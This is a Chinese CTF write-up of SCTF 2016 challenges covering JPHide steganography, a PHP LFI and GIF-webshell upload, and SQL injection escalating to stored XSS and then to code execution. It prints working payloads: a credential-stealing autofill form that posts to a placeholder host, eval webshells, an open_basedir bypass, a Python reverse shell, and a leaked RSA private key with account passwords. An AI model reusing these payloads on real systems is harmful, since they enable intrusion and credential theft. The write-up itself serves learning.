sctf2016_writeup

周末打了sctf2016,结果遇到了tomato大神的各种渗透题目….大神的脑回路都好长啊,题目都是一层连一层…

MISC

神秘代码

讲个故事,叫做神秘代码。

打开故事的目录….
大兄弟,真车啊~~一颗赛艇

稍微试了一下发现没什么收货,用foremost拆出来一个r.zip,结果主办方说没关系…

后来给出一个提示

神秘代码_hint stegdetect

那就下这个软件吧,搞了1天都没搞定,结果换个人换个linux就下好了,跑出来是JPhide,那么搜搜看吧

http://linux01.gwdg.de/~alatham/stego.html

从这里可以搞到windows版的JPhide解密工具,打开用空密码就可以解出来了

PENTEST

渗透的水平还不够高,后面看到别的wp会再慢慢补回来…

homework

进去看到是一个学生的作业系统,稍微翻翻发现一个重要的地方
http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt
存在本地文件包含漏洞,先读源码回来吧
http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/read=convert.base64-encode/resource=homework.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
include('./config.php');
@$username=$_POST['username'];
@$password=$_POST['password'];
@include($_GET['homework']);
$username=intval($username);
$password=md5($password);
$result=mysql_query("select * from info where username='$username'&&password='$password'");
$row=mysql_fetch_array($result);
if(empty($row))
{
print("ûÓиÃѧÉú»òÕßÃÜ ë´íÁËÒ²ÓпÉÄÜÊÇÄãµÄѧºÅ´íÁË.....×ÜÖ®ÓÐʲôµØ·½´íÁË¡£");
exit();
}else
{
$_SESSION['login']=1;
$_SESSION['xuehao']=$row['username'];
header("Location: ./homework.php");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</html>
<?php
session_start();
if($_SESSION['login']!=1){
exit('Plz Login');
}
if(preg_match('/^read/',$_GET['homework']))
{
exit('Plz Don\'t read my code');
}
@include($_GET['homework']);
include('./config.php');
$result=mysql_query("select * from info where username='$_SESSION[xuehao]'");
$row=mysql_fetch_array($result);
echo "Welcome".$row['name']."</B>to Homework Center.<br />";
echo "<img src='".$row['pic']."'><br />";
echo "<a href='./homework.php?homework=homework.txt'>homework</a>";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<html>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</html>
<?php
include('./config.php');
session_start();
function make_password()
{
$password="";
$chars="abcdefghijklmnopqrstuvwxyz1234567890-=!@#$%^&*_";
for($i=0;$i<8;$i++)
{
$password.=$chars[rand(0,46)];
}
return $password;
}
if(isset($_POST['captcha_code'])){
// code for check server side validation
if(empty($_SESSION['captcha_code'] ) || strcasecmp($_SESSION['captcha_code'], $_POST['captcha_code']) != 0){
exit('éªŒè¯ç é”™è¯¯');
}else{// Captcha verification is Correct. Final Code Execute here!
}
}
if(isset($_POST['upload'])){
$filename = $_FILES['uploaded']['name'];
$filetype = $_FILES['uploaded']['type'];
$filesize = $_FILES['uploaded']['size'];
$tmpname = $_FILES['uploaded']['tmp_name'];
$uploaddir = './upload/';
$target_path = $uploaddir.basename($filename);
$fileext = substr(strrchr($filename,"."),1);
if(($fileext == 'gif')&&($filetype == "image/gif")){
{
if(move_uploaded_file($tmpname,$target_path))
{
}
}
$im =imagecreatefromgif($target_path);
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $uploaddir.$newfilename;
imagegif($im,$newimagepath);
unlink($target_path);
}else if(($fileext == 'jpg')&&($filetype == "image/jpeg"))
{
if(move_uploaded_file($tmpname,$target_path))
{
}
$im =imagecreatefromjpeg($target_path);
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $uploaddir.$newfilename;
imagejpeg($im,$newimagepath);
unlink($target_path);
}else if (($fileext=='png')&&($filetype=="image/png"))
{
if(move_uploaded_file($tmpname,$target_path))
{
}
$im =imagecreatefromjpeg($target_path);
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $uploaddir.$newfilename;
imagejpeg($im,$newimagepath);
unlink($target_path);
}
}
if(isset($_POST['name'])&&isset($_POST['age']))
{
$name=substr($_POST['name'],0,6);
$age=intval($_POST['age']);
$username=file_get_contents('./id.txt');
$password=make_password();
file_put_contents('./id.txt',intval($username)+1);
mysql_query("insert into info(username,password,name,pic,age)values('$username',md5('$password'),'$name','$newimagepath',$age)");
mysql_close($con);
print("生成成功,学号:$username,å¯†ç ï¼š$password");
print("<a href='./index.html'>回主页</a>");
}
?>
1
2
3
4
5
6
7
8
9
<?php
$db_user='web';
$db_password='WebPaSSw0rd!';
$db_host='localhost';
$db_database='web';
$con =mysql_connect($db_host,$db_user,$db_password) or die('Not connect');
mysql_select_db($db_database,$con) or dir('Not select');
mysql_query('SET NANES UTF8');
?>

稍微研究一下源码发现name存在注入,但是只有6位,所以没什么用。
那就是上传文件的地方有问题了,测试一下发现重点在于这两个函数imagecreatefromjpeg
imagecreatefromgif

发现这两个函数会把图片做处理,如果图片是不可解析的,那么直接回返回false不会写进文件中去。那么应该就是构造一个图片shell了

做题时开始踩了坑,因为发现这个函数会把图片中的内容重构过,所以直接写shell失败,所以试图写在不会被处理的地方,所以发现了这篇文章https://www.secgeek.net/bookfresh-vulnerability/

蛋疼的是线上无效(后来发现其实phpInfo()其实被删了),然后找别的办法,尝试使用gif

测试发现gif的处理不像jpg那么严格,几乎没有对图片的重构,所以在图片的前面在不影响内容的情况下写入了一句话。

然后列目录读文件就get flag了

1
a=echo "<br />";$handler = opendir('./');while( ($filename = readdir($handler)) !== false ) {echo $filename."<br/>";}$username=file_get_contents('./4ff692fb12aa996e27f0a108bfc386c2');var_dump($username);

hackme

题目刚出的时候没去看,后来发现给了一大堆提示
Hackme提示
1.网站开发人员经常会去看备忘录
2.想办法拿到管理员密码

打开站发现并不能没有找到备忘录在哪
只能找到
http://hackme.sctf.xctf.org.cn/login.php
http://hackme.sctf.xctf.org.cn/index.php?id=1
这两个页面。
测试发现存在注入
http://hackme.sctf.xctf.org.cn/index.php?id=-1||1#
发现对空格和很多敏感函数有过滤,尝试用/!00000xxx/这样的方式绕过,成功
http://hackme.sctf.xctf.org.cn/index.php?id=1/*!00000union*//*!00000select*/version()%23

先看看数据库内容

1
2
3
4
5
6
7
8
9
10
11
5.5.42-log
user hackme@localhost
库名 hackme
库中有两个表
article
两个列
id content
beiwanglu
3个列
id time event

看到有个beiwanglu的表

http://hackme.sctf.xctf.org.cn/index.php?id=1/*!00000union*//*!00000select*/event/*!00000from*/beiwanglu%23
进去的时候看到是备忘录内容,想起一个hint是说管理员会看自己的备忘录,那么插入一个js看看

1
http://hackme.sctf.xctf.org.cn/index.php?id=1;/*!00000insert*//*!00000into*/beiwanglu(id,time,event)/*!00000values*/(77,84,%27%3Cscript/src=%22http://xxx/1.js%22%3E%3C/script%3E%27)%23

开始×回来了phpsession,发现无效,于是尝试能不能读文件

1
http://hackme.sctf.xctf.org.cn/index.php?id=1/*!00000union*//*!00000select*/load_file('/etc/passwd')%23

发现什么都能读于是翻了翻php和nginx的配置,还翻了翻lnmp的log,没什么收获
尝试能不能写一个webshell进去,发现权限不够,只能写在/tmp下。

这时候看到提示说浏览器的记住密码
想到一种可能,构造一个表单,浏览器会自动填充,然后获取内容post回来,尝试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
var form1 = document.createElement("form");
form1.id = "lg-form";
form1.name = "lg-form";
document.body.appendChild(form1);
var input = document.createElement("input");
input.type = "text";
input.name = "username";
input.id = "username";
input.placeholder = "username";
var input2 = document.createElement("input");
input2.type = "password";
input2.name = "password";
input2.id = "password";
input2.placeholder = "password";
var button1 = document.createElement("button");
button1.type = "submit";
button1.id = "login";
form1.appendChild(input);
form1.appendChild(input2);
form1.appendChild(button1);
form1.method = "POST";
form1.action = "";
user = document.getElementById('username').value;
pass = document.getElementById('password').value;
var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxx.cc', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
setTimeout(xml.send('username='+user+'&password='+pass),2000);

后面的settimeout是因为第一次测试的时候发现填充是需要时间的,所以需要延时

get username&password

1
2
3
4
5
username
admin
password
nizhendeyongyuancaibudaomimade

登录进去后发现是个下载器,然后有任意文件下载漏洞,可以构造....//index.php绕过过滤(其实也就是因为这个才发现之前会报错的mysql写入其实是写入了的),阅读源码发现一个比较重要的文件是session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class FileSessionHandler
{
private $savePath;
function open($savePath, $sessionName)
{
$this->savePath = $savePath;
if (!is_dir($this->savePath)) {
mkdir($this->savePath, 0777);
}
return true;
}
function close()
{
return true;
}
function read($id)
{
return (string)@file_get_contents("$this->savePath/sess_$id");
}
function write($id, $data)
{
return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
}
function destroy($id)
{
$file = "$this->savePath/sess_$id";
if (file_exists($file)) {
unlink($file);
}
return true;
}
function gc($maxlifetime)
{
foreach (glob("$this->savePath/sess_*") as $file) {
if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
unlink($file);
}
}
return true;
}
}
$handler = new FileSessionHandler();
session_set_save_handler(
array($handler, 'open'),
array($handler, 'close'),
array($handler, 'read'),
array($handler, 'write'),
array($handler, 'destroy'),
array($handler, 'gc')
);
register_shutdown_function('session_write_close');
session_start();

还有个init.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
header("Content-type:text/html;charset=utf-8");
//error_reporting(0);
if(@$_COOKIE['admin'] !=='f34c2e6132748fed3ac48959c10fddcb637ca8fb') exit('error!');
spl_autoload_register();
include 'session.php';
function download($filename){
if(!file_exists($filename)){
exit('文件找不到!');
}else{
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Content-Disposition: attachment; filename={$filename}");
header("Accept-Length:".filesize($filename));
readfile($filename);
}
}

找到一篇文章是
http://www.freebuf.com/vuls/89754.html

尝试了发现环境不太相似,后来想起来三个白帽曾经见过一个
http://drops.wooyun.org/tips/10564
spl_autoload_register函数
如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc”的文件,并加载其中的“类名”类。

按照这样的方法反序列化session发现只能包含当前目录下,怎么都包含不到/tmp/…想了很久也没想出来,放弃….

赛后看到了大神的wp,才知道这里其实是忽略了一个很重要的东西
http://www.firesun.me/sctf2016-web-hackme-writeup/

在php.ini中有个很重要的设置:

1
include_path= ".:/tmp"

在本机环境下这里并没有tmp目录(忘记看题目的了。。。)
这样/tmp也会被sql_autpload_register函数搜索(错过了getshell的机会)

我们可以本地测试一下这个:

首先在session.php下写一个$_SESSION['a']=new test()

然后在/tmp下写一个test.php
<?php echo 233?>

1
2
root@VM-181-46-ubuntu:/home/wwwroot/default/test# php init.php
233PHP Fatal error: spl_autoload(): Class test could not be loaded in /home/wwwroot/default/test/session.php on line 63

虽然报错了,但是确实执行了,那么剩下就是session反序列化得问题了

我们在/tmp目录下构造一个webshell test.php

1
<?php eval($_GET['a'])?>

然后生成一个合理的session文件,类似于sess_26位随机数,向sess下写入我们想要的内容

1
http://hackme.sctf.xctf.org.cn/index.php?id=0/*!00000union*//*!00000select*/'a|O:4:"test":0:{}'/*123*/into/*123*/outfile'/tmp/sess_xxxxxxxxxxxxxxxxxxx'

带着上面的session去访问main.php

getshell

这里firesun大神用了

1
2
<?php
file_put_contents("/home/wwwroot/hackme/05d6a8025a7d0c0eee5f6d12a0a94cc9/shell.php",'<?php eval($_POST[1]);?>');

像网站目录中写了一个webshell,想想应该要比我的方法更好,方便后续的操作

进去了发现由于.user.ini设置了

1
open_baseair = /home/wwwroot/hackme:/tmp/:/proc/

所以要想办法绕过了
我只知道两种,第一种是firesun大神使用的
通过在子目录设置.user.ini来覆盖设置

由于main.php、session.php、session.php在子目录05d6a8025a7d0c0eee5f6d12a0a94cc9/下,在05d6a8025a7d0c0eee5f6d12a0a94cc9/下写入一个.user.ini

1
open_basedir=/

然后等5分钟生效,然后shell不再受open_basedir限制,找找发现flag在wwwroot/flag_is_here下

但是这种方式不是tomato大神的本意,第二种方式是服务器配置不当导致
http://wooyun.org/bugs/wooyun-2010-0145879
在php.ini中可以看到被禁用的函数

1
disable_functions = passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

其中少了一个很重要的是pcntl_exe

说明我们可以执行与php无关的二进制文件,条件好甚至可以反弹shell
写一个py在/tmp目录下

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP地址",端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);

然后用pcntl_exec启动

1
pcntl_exec("/usr/bin/python",array("/tmp/1.py"));

get shell

当然可以想wooyun文章上说那样输入,原理相同

蜜汁公司

http://mizhicrop.sctf.xctf.org.cn
1.提示都在QQ空间里面
2.社工
3.找到测试站点,然后拿下蜜汁公司

http://user.qzone.qq.com/2137162120
28岁 6.1生日 Bl4ck_Roll
肖咪咪 (Bl4ck_Roll)
蜜汁公司 - CTO

得到印象笔记
帐号:2137162120@qq.com
密码:xiaomimi0601

加了好友社工到了验证码√

发现重要的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
服务器管理
114.215.103.83 用户名 bl4ckr0ll
最近这个账号有点问题,还是把执行权限给去掉
id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAyYZoMBDUrjIYXLPbJsqNVDENbyWVSeKfyIc0bQ6LPBWYagKI
uPGQ3Lqq4vyvdePutqT7zhHEkj50RAOzTt2m595ldxx3YXYZhryF/XwDcKUhYv9O
Rqzt0j3MM+ekfrZI7cryMvUJcoYdwnaD+O7ZOdmmE7gMkcHzlN+LDDND99JbzbrI
C2kvHqWskE/zfMn2heI5MFPf0zLZgm932J6UI5ms0CdgVQCIQX3LzYfhC+mdbe3p
X9ptcSeCowjC5RdqtjiML6DWvmD2VcavJRfqDi26pKmhy8xnOoeDJu87WpFXnQbx
GJpJ81QsFJPRyXdT5NZojhR7Jz4lnnwHz9kZZQIDAQABAoIBAEkW10i/gfNftdhB
XvVVtyZW2BF8pwVyDRN0ff4jrTnwdyPToXS6IBj+FqZWkOiH73cMpUraxNlpj09v
rCOpXjRwQ4qMp3uQkrd8Pnht9u1u5on6IJCffW2n/hzBIbbXM+ISnf7/QhroK3jw
9PJe5igGGSbDtMNUfZx76vlUyozheCvBO98FvS5maHx5Si4POeGU9JyU4gA4SFvX
0JIcI7DjLCpL23kuG5hXBDx5IEPXAB7HTqXcd+CF+/qIsPbeRdy5Ys03pNJ1BGqt
/9vlryUYs0PIE4vAx6iBZhwffEbpcLsSlTB0HTbyFGKs2IJqdu5tP3aC81yhN4Kw
WQMZAK0CgYEA9W1i80/wkSuGR9gnP1NEuLFpAcqDEXSpVJbi6xdOeFqq9r54zt9O
ml41FAtV15/3zkrUh/P5RvtR1Jz23kQF4IKHn76KTYUAt/AcY4P4Bg4qI6QiUigO
r7YfAslGjGJNwLMokIt3Dizrq19QCc+9gaRVI20HV+gd4FSBywdmOKsCgYEA0jTb
4RgJHAwXuec3jIuO9P4G9m+iA3dGCW/ZkySLCQBLHr2pjTzEf+2/CNJTVKnfASrs
sJpicKr/n/O7SJJi0M/vAkcJLi5yH7R3nX7sRJn9BBxxC5gxGFFgtTXS5hwOj2wy
cpHXS6ObKa+58MKJ+cqA1yUjvDYa5Q6c6m2iFi8CgYANoZ21VeNOrNQweVj0s3NF
rtTePJk7BvfAswC3ffvlw2NrgPjExLJg8IqSKm8CIuholM9pHavivWK2JGGxxqVs
6tMNlE+qLpDzpmptPI8yBudgQ2WEmqT2LW9bgEJi2bLn2QuPu69JIkWUpx6S7O7h
nHb+GLgnscS3CPqMhESxMQKBgQCnRytHOHJfYHwtE4QQEysjaVevGu0J5wvUDK9P
OgBunE4rW3EnFRmmWFLyuTVZJYlyi28ppuH5mQqthi8etGdwllg0LsVue8WT13Bs
5AkvGn/PmraXLHi9Sl00N23qcp9foRGQPODgr4SVquLEZnuYTX80Nrj2WPQUHgnf
QHmBPwKBgEpoS+y1s3P8YIW50dpCA4PNQgBNwWpWXiHgMiftGtlq3+t7VUZcJqq+
ak3/isqwkfTRqWZwrWD26RIgUAyp16ufoRkOlASac5jVPc5BsTg/bwhpbVha8Lyi
Vj861IZS+UMaoS7KHggTrxxZ6QzwRI1bjYWkyNMhpTweH4/O8Ydf
-----END RSA PRIVATE KEY-----

但是一连上就会被踢出,所以后来没做了,但是比赛要结束的时候得到一个cve编号
cve-2016-3115

找到一篇文章

http://blog.csdn.net/qq_27446553/article/details/50906562

得到一个poc,尝试发现成功连上服务器,可惜的是只有读文件和写文件的功能,翻了10分钟也没找到什么有用的信息….好吧Orz

文章目录
  1. 1. MISC
    1. 1.1. 神秘代码
  2. 2. PENTEST
    1. 2.1. homework
    2. 2.2. hackme
    3. 2.3. 蜜汁公司